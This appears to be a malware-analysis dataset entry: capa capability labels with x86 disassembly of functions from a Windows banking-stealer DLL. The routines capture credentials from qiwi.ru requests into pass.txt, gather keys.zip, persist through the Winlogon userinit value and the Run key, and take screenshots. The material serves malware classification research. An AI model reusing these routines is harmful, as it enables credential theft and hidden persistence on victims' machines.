joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001fee0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001ff28
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001ff10
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001ff5b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001ff5b
test byte [esp + 0xc], 2
jne 0x1001ff5b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001fc70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001ffa8
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001ffa8
test byte [esp + 0xc], 2
jne 0x1001ffa8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005a7a0
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INTER
push 0x1005a7a0
call fcn.100125c0
push 0x9c40
call ebx
call fcn.1001fee0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001ffe0
Capabilities:
Create thread
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x10057fd4], 0
jne 0x1002010e
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.cbsmain.dll
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1002010e
mov eax, dword [ebp + 8]
push 0x104
lea edx, [ebp - 0x104]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [0x10057fd0], 0
jne 0x10020092
mov ecx, 0x10048624
lea eax, [ebp - 0x104]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10020077
test dl, dl
je 0x10020073
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10020077
add eax, 2
add ecx, 2
test dl, dl
jne 0x10020057
xor eax, eax
jmp 0x1002007c
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov dword [0x10057fd0], eax
test eax, eax
je 0x1002010e
mov ecx, 0x10048634
lea eax, [ebp - 0x104]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100200c0
test dl, dl
je 0x100200bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100200c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100200a0
xor eax, eax
jmp 0x100200c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1002010e
push esi
push eax
push eax
push eax
push 0x10020280
push eax
push eax
mov dword [0x10057fd4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1002010d
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1002010d
test byte [ebp + 8], 2
jne 0x1002010d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x100203a0
Capabilities:
Create directory
Create thread
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [0x10057fdc], 0
push ebx
push esi
push edi
jne 0x10020537
mov edi, dword [ebp + 8]
test edi, edi
je 0x10020537
cmp dword [edi], 0x20544547
jne 0x10020537
cmp dword [0x10057fd8], 0
jne 0x100204ef
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.w.qiwi.ru
push edi
call esi
add esp, 8
test eax, eax
je 0x10020537
push str.phone
push edi
call esi
add esp, 8
test eax, eax
je 0x10020537
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10020537
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10020420
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005a9a8
call ebx
mov eax, 0x1005a9a8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10020446
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020456
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005a9a8
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x1005a9a8
call fcn.10003090
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x100204b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100204b1
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100204d0
sub eax, edx
push eax
push esi
mov eax, str.pass.txt
call fcn.100064d0
mov dword [0x10057fd8], 1
push 0
push 0
push 0
push 0x10020540
push 0
push 0
mov dword [0x10057fdc], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10020537
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10020537
test byte [ebp + 8], 2
jne 0x10020537
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10020e10
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10020e20
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10020e20
push 0x1005abb0
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005abb0
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10020e44
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020e56
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10020ea7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10020ea0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
test eax, eax
je 0x10020ef3
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10020ec1
mov ecx, dword [str.keys.zip]
mov edx, dword [0x10047ef4]
mov dword [eax], ecx
mov cl, byte [0x10047ef8]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10027f00
mov esp, ebp
pop ebp
ret 4
Function at 0x10022180
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10022190
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10022190
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005adb8
call ebx
mov eax, 0x1005adb8
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100221c0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100221d2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10022221
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1002221a
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10022316
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.10027f00
test eax, eax
je 0x10022316
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10022255
mov edx, dword [str.keys.zip]
mov ecx, dword [0x10047ef4]
mov dword [eax], edx
mov dl, byte [0x10047ef8]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10022280
push 0x1005adb8
call ebx
mov eax, 0x1005adb8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100222a0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100222b2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100222d0
mov ecx, dword [str.path1.txt]
mov edx, dword [0x100485a0]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x100485a4]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10022300
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.100064d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10022f90
Capabilities:
Check if file exists
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, eax
mov dword [ebp - 8], 0
test esi, esi
je 0x1002315d
lea edx, [eax + 1]
jmp 0x10022fb0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10022fb0
sub eax, edx
push ebx
mov ebx, eax
je 0x1002315c
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1002315c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0x103
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call edi
test eax, eax
jne 0x10023108
mov edx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push eax
push eax
push eax
push str.userinit
push edx
call edi
mov eax, dword [ebp - 8]
lea ecx, [eax + ebx + 3]
mov dword [ebp - 8], ecx
call fcn.10012ce0
mov ebx, eax
test ebx, ebx
je 0x100230ed
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push ebx
push 0
push 0
push str.userinit
push edx
call edi
push esi
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x100230e6
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023051
sub eax, edx
je 0x10023077
cmp byte [ebx + eax - 1], 0x2c
je 0x10023077
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10023066
mov ax, word [0x100489cc]
mov word [edi], ax
mov eax, esi
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023080
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023090
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100230b0
mov cx, word [0x100489cc]
mov eax, ebx
mov word [edi], cx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100230c7
sub eax, edx
mov edx, dword [ebp - 4]
inc eax
push eax
push ebx
push 1
push 0
push str.userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, ebx
call fcn.10012d20
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 4]
push edx
push 0xf013f
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call edi
test eax, eax
jne 0x1002315b
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023128
sub eax, edx
inc eax
push eax
mov eax, dword [ebp - 4]
push esi
push 1
push 0
push str.userinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10023170
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100231b7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x1002322b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x100231d7
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x10023220
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10023220
test byte [esp + 0xc], 2
jne 0x10023220
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x100231f6
Function at 0x100234a0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xdf
lea eax, [ebp - 0xe3]
push 0
push eax
mov dword [ebp - 4], 0x104
movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1002358a
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
test edi, edi
je 0x1002358a
mov esi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 4]
push ecx
push edi
call esi
test eax, eax
jne 0x10023545
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10023545
mov edx, dword [ebp - 4]
push edx
mov eax, edi
call fcn.10012d50
mov edi, eax
test edi, edi
je 0x1002358a
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x1002358a
push edi
call fcn.10019860
xor esi, esi
cmp byte [edi], 0
je 0x1002358a
push ebx
movsx cx, byte [esi + edi]
lea ebx, [esi + edi]
movzx edx, cx
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x10023582
mov ecx, dword [ebp - 4]
push ecx
lea edx, [esi + edi + 1]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x10023553
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100235a0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xde
lea eax, [ebp - 0xe2]
push 0
push eax
mov dword [ebp - 4], 0x104
movsw word es:[edi], word [esi]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1002368b
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
test edi, edi
je 0x1002368b
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 4]
push ecx
push edi
call esi
test eax, eax
jne 0x10023646
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6f
jne 0x10023646
mov edx, dword [ebp - 4]
push edx
mov eax, edi
call fcn.10012d50
mov edi, eax
test edi, edi
je 0x1002368b
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x1002368b
push edi
call fcn.10019860
xor esi, esi
cmp byte [edi], 0
je 0x1002368b
push ebx
movsx cx, byte [esi + edi]
lea ebx, [esi + edi]
movzx edx, cx
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x10023683
mov ecx, dword [ebp - 4]
push ecx
lea edx, [esi + edi + 1]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x10023654
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100236a0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10023772
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100236c0
sub eax, edx
je 0x10023772
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x10108
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10023777
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [ebp - 4]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push ecx
mov dword [ebp - 8], 0x104
call edi
mov esi, eax
cmp esi, 0x103
je 0x1002374e
test esi, esi
jne 0x1002375e
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10c]
push edx
push eax
call fcn.100236a0
mov esi, eax
test esi, esi
je 0x100236f4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x3f2
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10023840
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
test eax, eax
je 0x100238fb
push esi
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.10006570
mov esi, eax
test esi, esi
je 0x100238fa
push edi
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x100238d7
rdtsc
xor dword [0x1004c210], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x1004c210], eax
push 0x10044234
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100238b4
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100238b4
push 0x1004c210
call eax
mov ecx, dword [0x1004c210]
push ebx
xor edx, edx
mov eax, ecx
or ebx, 0xffffffff
div ebx
add eax, ecx
mov dword [edi + 0x58], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
push edx
push esi
call fcn.100064d0
pop ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100238f9
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10023950
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
mov dword [ebp - 0xc], 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowDC]
mov esi, eax
test esi, esi
jne 0x10023978
pop esi
mov esp, ebp
pop ebp
ret 4
push edi
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
test edi, edi
jne 0x1002398e
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push esi
call ebx
push 0xa
push esi
mov dword [ebp - 0x4c], eax
call ebx
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
push eax
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
push 1
lea eax, [ebp - 0x50]
mov ecx, 0xb12
push eax
push esi
mov dword [ebp - 0x44], 0x180001
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x50], 0x28
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov ebx, eax
push ebx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x4c]
push 0xcc0020
push 0
push 0
push esi
push ecx
push edx
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x10023a8e
push 0x1020
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10023a8e
push 0x1020
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push eax
push edi
push eax
push eax
push eax
push ebx
push esi
mov dword [edi], 0x28
mov word [edi + 0xe], ax
call dword [sym.imp.GDI32.dll_GetDIBits]
mov esi, dword [edi + 4]
imul esi, dword [edi + 8]
mov ecx, 8
mov word [edi + 0xe], cx
mov ecx, esi
mov dword [edi + 0x10], 0
call fcn.10012ce0
mov dword [ebp - 4], eax
test eax, eax
jne 0x10023a99
mov esi, edi
call fcn.10012d20
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
mov edx, dword [edi + 8]
push 0
push edi
push eax
mov eax, dword [ebp - 8]
push edx
push 0
push ebx
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, dword [ebp + 8]
lea ecx, [esi + 0x436]
xor edx, edx
mov word [ebp - 0x24], 0x4d42
mov dword [ebp - 0x1a], 0x436
mov dword [ebp - 0x22], ecx
mov dword [ebp - 0x1e], edx
call fcn.100064b0
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10023b18
push 0
lea ecx, [ebp + 8]
push ecx
push 0xe
lea edx, [ebp - 0x24]
push edx
push ebx
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov ecx, 0x428
mov edx, edi
call fcn.100066a0
mov edx, dword [ebp - 4]
push ebx
mov ecx, esi
call fcn.100066a0
mov esi, ebx
call fcn.10023e00
mov ebx, 1
jmp 0x10023b1b
mov ebx, dword [ebp - 0xc]
mov esi, edi
call fcn.10012d20
mov esi, dword [ebp - 4]
call fcn.10012d20
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, ebx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4